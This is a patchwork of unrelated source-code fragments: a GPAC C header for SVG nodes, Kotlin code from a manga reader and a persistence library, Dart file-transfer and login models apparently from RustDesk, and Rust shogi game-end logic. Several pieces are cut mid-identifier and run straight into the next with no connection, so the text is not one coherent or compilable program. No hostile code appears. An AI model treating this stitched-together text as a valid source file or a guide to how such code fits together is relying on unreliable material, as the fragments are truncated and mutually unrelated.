void compositor_init_svg_tbreak(GF_Compositor *compositor, GF_Node *node);

void compositor_init_svg_font(GF_Compositor *compositor, GF_Node *node);
void compositor_init_svg_glyph(GF_Compositor *compositor, GF_Node *node);
void compositor_init_svg_font_face_uri(GF_Compositor *compositor, GF_Node *node);

void compositor_init_svg_updates(GF_Compositor *compositor, GF_Node *node);

#ifdef GPAC_ENABLE_SVG_FILTERS
void compositor_init_svg_filter(GF_Compositor *compositor, GF_Node *node);
void svg_draw_filter(GF_Node *filter, GF_Node *node, GF_TraverseState *tr_state);
#endif

GF_TextureHandler *compositor_svg_get_gradient_texture(GF_Node *node);
GF_TextureHandler *compositor_svg_get_image_texture(GF_Node *node);

Bool compositor_svg_get_viewport(GF_Node *n, GF_Rect *rc);
void svg_pause_animation(GF_Node *n, Bool pause);
void svg_pause_audio(GF_Node *n, Bool pause);
void svg_pause_video(GF_Node *n, Bool pause);

void compositor_svg_video_modified(GF_Compositor *compositor, GF_Node *node);

typedef struct
{
	GF_TextureHandler txh;
	Drawable *drawable;
	MFURL txurl;
	Bool first_frame_fetched;
	GF_Node *audio;
	Bool audio_dirty;
	Bool stop_requested;
} SVG_video_stack;

typedef struct
{
	GF_AudioInput input;
	Bool is_active, is_error;
	MFURL aurl;
} SVG_audio_stack;

#endif

#endif	/*NODES_STACKS_H*/


raphics.Bitmap
import androidx.core.graphics.get
import coil3.size.Size
import coil3.transform.Transformation
import org.koitharu.kotatsu.reader.domain.EdgeDetector.Companion.isColorTheSame

class TrimTransformation(
	private val tolerance: Int = 20,
) : Transformation() {

	override val cacheKey: String = "${javaClass.name}-$tolerance"

	override suspend fun transform(input: Bitmap, size: Size): Bitmap {
		var left = 0
		var top = 0
		var right = 0
		var bottom = 0

		// Left
		for (x in 0 until input.width) {
			var isColBlank = true
			val prevColor = input[x, 0]
			for (y in 1 until input.height) {
				if (!isColorTheSame(input[x, y], prevColor, tolerance)) {
					isColBlank = false
					break
				}
			}
			if (isColBlank) {
				left++
			} else {
				break
			}
		}
		if (left == input.width) {
			return input
		}
		// Right
		for (x in (left until input.width).reversed()) {
			var isColBlank = true
			val prevColor = input[x, 0]
			for (y in 1 until input.height) {
				if (!isColorTheSame(input[x, y], prevColor, tolerance)) {
					isColBlank = false
					break
				}
			}
			if (isColBlank) {
				right++
			} else {
				break
			}
		}
		// Top
		for (y in 0 until input.height) {
			var isRowBlank = true
			val prevColor = input[0, y]
			for (x in 1 until input.width) {
				if (!isColorTheSame(input[x, y], prevColor, tolerance)) {
					isRowBlank = false
					break
				}
			}
			if (isRowBlank) {
				top++
			} else {
				break
			}
		}
		// Bottom
		for (y in (top until input.height).reversed()) {
			var isRowBlank = true
			val prevColor = input[0, y]
			for (x in 1 until input.width) {
				if (!isColorTheSame(input[x, y], prevColor, tolerance)) {
					isRowBlank = false
					break
				}
			}
			if (isRowBlank) {
				bottom++
			} else {
				break
			}
		}

		return if (left != 0 || right != 0 || top != 0 || bottom != 0) {
			Bitmap.createBitmap(input, left, top, input.width - left - right, input.height - top - bottom)
		} else {
			input
		}
	}
}
package org.koitharu.kotatsu.core.ui.list

import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView

abstract class BoundsScrollListener(
	@JvmField protected val offsetTop: Int,
	@JvmField protected val offsetBottom: Int
) : RecyclerView.OnScrollListener() {

	override fun onScrolled(recyclerView: RecyclerView, dx: Int, dy: Int) {
		super.onScrolled(recyclerView, dx, dy)
		if (recyclerView.hasPendingAdapterUpdates()) {
			return
		}
		val layoutManager = (recyclerView.layoutManager as? LinearLayoutManager) ?: return
		val firstVisibleItemPosition = layoutManager.findFirstVisibleItemPosition()
		if (firstVisibleItemPosition == RecyclerView.NO_POSITION) {
			return
		}
		val visibleItemCount = layoutManager.childCount
		val totalItemCount = layoutManager.itemCount
		if (visibleItemCount + firstVisibleItemPosition >= totalItemCount - offsetBottom) {
			onScrolledToEnd(recyclerView)
		}
		if (firstVisibleItemPosition <= offsetTop


 && err == "skipped") {
      return translate("Skipped");
    }
    return state.display();
  }

  bool isTransfer() {
    return action == CmFileAction.remoteToLocal ||
        action == CmFileAction.localToRemote;
  }
}

class TransferJobSerdeData {
  int connId;
  int id;
  String path;
  bool isRemote;
  int totalSize;
  int finishedSize;
  int transferred;
  bool done;
  bool cancel;
  String error;

  TransferJobSerdeData({
    required this.connId,
    required this.id,
    required this.path,
    required this.isRemote,
    required this.totalSize,
    required this.finishedSize,
    required this.transferred,
    required this.done,
    required this.cancel,
    required this.error,
  });

  TransferJobSerdeData.fromJson(dynamic d)
      : this(
          connId: d['connId'] ?? 0,
          id: int.tryParse(d['id'].toString()) ?? 0,
          path: d['path'] ?? '',
          isRemote: d['isRemote'] ?? false,
          totalSize: d['totalSize'] ?? 0,
          finishedSize: d['finishedSize'] ?? 0,
          transferred: d['transferred'] ?? 0,
          done: d['done'] ?? false,
          cancel: d['cancel'] ?? false,
          error: d['error'] ?? '',
        );
}

class FileActionLog {
  int id = 0;
  int connId = 0;
  String path = '';
  bool dir = false;

  FileActionLog({
    required this.connId,
    required this.id,
    required this.path,
    required this.dir,
  });

  FileActionLog.fromJson(dynamic d)
      : this(
          connId: d['connId'] ?? 0,
          id: d['id'] ?? 0,
          path: d['path'] ?? '',
          dir: d['dir'] ?? false,
        );
}
import 'dart:async';
import 'dart:convert';

import 'package:bot_toast/bot_toast.dart';
import 'package:flutter/material.dart';
import 'package:flutter_hbb/common/hbbs/hbbs.dart';
import 'package:flutter_hbb/models/ab_model.dart';
import 'package:get/get.dart';

import '../common.dart';
import '../utils/http_service.dart' as http;
import 'model.dart';
import 'platform_model.dart';

bool refreshingUser = false;

class UserModel {
  final RxString userName = ''.obs;
  final RxBool isAdmin = false.obs;
  bool get isLogin => userName.isNotEmpty;
  WeakReference<FFI> parent;

  UserModel(this.parent);

  void refreshCurrentUser() async {
    if (bind.isDisableAccount()) return;
    final token = bind.mainGetLocalOption(key: 'access_token');
    if (token == '') {
      await updateOtherModels();
      return;
    }
    _updateLocalUserInfo();
    final url = await bind.mainGetApiServer();
    final body = {
      'id': await bind.mainGetMyId(),
      'uuid': await bind.mainGetUuid()
    };
    if (refreshingUser) return;
    try {
      refreshingUser = true;
      final response = await http.post(Uri.parse('$url/api/currentUser'),
          headers: {
            'Content-Type': 'application/json',
            'Authorization': 'Bearer $token'
          },
          body: json.encode(body));
      refreshingUser = false;
      final status = response.statusCode;
      if (status == 401 || status == 400) {
        reset(resetOther: status == 401);
        return;
      }
      final data = json.decode(utf8.decode(response.bodyBytes));
      final error = data['error'];
      if (error != null)


Move>>());
													on_gameend(
														cs[(cs_index+1) % 2].clone(),
														cs[cs_index].clone(),
														[cs[0].clone(),cs[1].clone()],
														&sr,
														SelfMatchGameEndState::Foul(teban,FoulKind::Suicide)
													)?;
													break;
												}
											}

											mvs.push(m);

											mhash = hasher.calc_main_hash(mhash,teban,&state.get_banmen(),&mc,m,&o);
											shash = hasher.calc_sub_hash(shash,teban,&state.get_banmen(),&mc,m,&o);

											mc = nmc;
											state = next;

											if Rule::is_put_fu_and_mate(&state,teban,&mc,m) {
												kifu_writer(&sfen,&mvs.into_iter()
																				.map(|m| m.to_move())
																				.collect::<Vec<Move>>());
												on_gameend(
													cs[(cs_index+1) % 2].clone(),
													cs[cs_index].clone(),
													[cs[0].clone(),cs[1].clone()],
													&sr,
													SelfMatchGameEndState::Foul(teban,FoulKind::PutFuAndMate)
												)?;
												break;
											}

											if Rule::is_sennichite_by_oute(
												&state,
												teban,mhash,shash,
												&oute_kyokumen_map
											) {
												kifu_writer(&sfen,&mvs.into_iter()
																		.map(|m| m.to_move())
																		.collect::<Vec<Move>>());
												on_gameend(
													cs[(cs_index+1) % 2].clone(),
													cs[cs_index].clone(),
													[cs[0].clone(),cs[1].clone()],
													&sr,
													SelfMatchGameEndState::Foul(teban,FoulKind::SennichiteOu)
												)?;
												break;
											}

											Rule::update_sennichite_by_oute_map(
												&state,
												teban,mhash,shash,
												&mut oute_kyokumen_map
											);

											if Rule::is_sennichite(
												&state,teban,mhash,shash,&kyokumen_map
											) {
												kifu_writer(&sfen,&mvs.into_iter()
																		.map(|m| m.to_move())
																		.collect::<Vec<Move>>());
												on_gameend(
													cs[(cs_index+1) % 2].clone(),
													cs[cs_index].clone(),
													[cs[0].clone(),cs[1].clone()],
													&sr,
													SelfMatchGameEndState::Foul(teban,FoulKind::Sennichite)
												)?;
												break;
											}

											Rule::update_sennichite_map(
												&state,teban,mhash,shash,&mut kyokumen_map
											);

											teban = teban.opposite();

											ponders[cs_index] = pm.map(|pm| pm.to_applied_move());

											match pm {
												Some(pm) => {
													match mvs.clone() {
														mut mvs => {
															mvs.push(pm.to_applied_move());
															cs[cs_index].send(
																SelfMatchMessage::StartPonderThink


        if (coerceTo == Token.Str) return nextNumber
        if (hasFrac(nextNumber)) return when (coerceTo) {
            Token.F32 -> nextNumber.toFloat()
            null, Token.F64 -> nextNumber.toDouble()
            else -> throw IllegalArgumentException("expected '$coerceTo' but was '${Token.F64}' at $path")
        }
        val nextLong = if (this.nextLong == Long.MIN_VALUE) nextNumber.toLong() else this.nextLong
        this.nextLong = Long.MIN_VALUE

        if (coerceTo == null) {
            return if (nextLong in Int.MIN_VALUE..Int.MAX_VALUE) nextLong.toInt() else nextLong
        }
        try {
            return coerceTo.coerceToNumber(nextLong)
        } catch (e: IllegalArgumentException) {
            throw IllegalArgumentException("${e.message} at $path")
        }
    }

    private fun hasFrac(number: String): Boolean = try {
        hasFraction(number)
    } catch (e: NumberFormatException) {
        throw NumberFormatException("${e.message} at $path")
    }

    override fun close() {
        reader.close()
    }

}
package net.aquadc.persistence.sql.dialect

import net.aquadc.persistence.sql.IdBound
import net.aquadc.persistence.struct.Schema
import net.aquadc.persistence.sql.SqlTypeName
import net.aquadc.persistence.sql.Table
import net.aquadc.persistence.sql.TriggerEvent
import net.aquadc.persistence.struct.FieldDef
import net.aquadc.persistence.struct.FieldSet
import net.aquadc.persistence.type.DataType

/**
 * Represents an SQL dialect. Provides functions for building queries.
 */
interface Dialect {

    /**
     * Constructs an `INSERT INTO <table> (<col>, <col>, ...) VALUES (?, ?, ...)` SQL query
     */
    fun <SCH : Schema<SCH>> StringBuilder.insert(table: Table<SCH, *>, fields: FieldSet<SCH, out FieldDef<SCH, *, *>>): StringBuilder

    /**
     * Constructs an `INSERT INTO <table> (<col>, <col>, ...) VALUES (?, ?, ...)` SQL query
     */
    fun <SCH : Schema<SCH>> StringBuilder.update(table: Table<SCH, *>, fields: FieldSet<SCH, out FieldDef<SCH, *, *>>): StringBuilder

    /**
     * Constructs an SQL query like `SELECT <col> from <table> WHERE <condition>`
     */
    fun <SCH : Schema<SCH>> StringBuilder.selectQuery(table: Table<SCH, *>, columns: Array<out CharSequence>): StringBuilder

    /**
     * Constructs an SQL query like `DELETE FROM <table> WHERE <idCol> = ?`
     */
    fun deleteRecordQuery(table: Table<*, *>): String

    /**
     * Appends quoted and escaped table or column name.
     */
    fun StringBuilder.appendName(name: CharSequence): StringBuilder

    /**
     * Returns an SQL query to create the given [table].
     */
    fun createTable(table: Table<*, *>, temporary: Boolean = false, ifNotExists: Boolean = false): String

    fun StringBuilder.createTable(
        temporary: Boolean, ifNotExists: Boolean, name: String, namePostfix: String?, idColName: CharSequence,
        idColTypeName: SqlTypeName, managedPk: Boolean,
        colNames: Array<out CharSequence>, colTypes: Array<out SqlTypeName>
    ): StringBuilder

    /**
     * Returns `TRUNCATE` query to clear the whole table.
     */
    fun truncate(table: Table<*, *>): String

    /**
     * Optionally builds CREATE|DROP FUNCTION which will be subscribed to the trigger.
     * Unused by SQLite where trigger function is anonymous;
     * used with PostgreSQL where trigger listener is a named function.
     * @param creat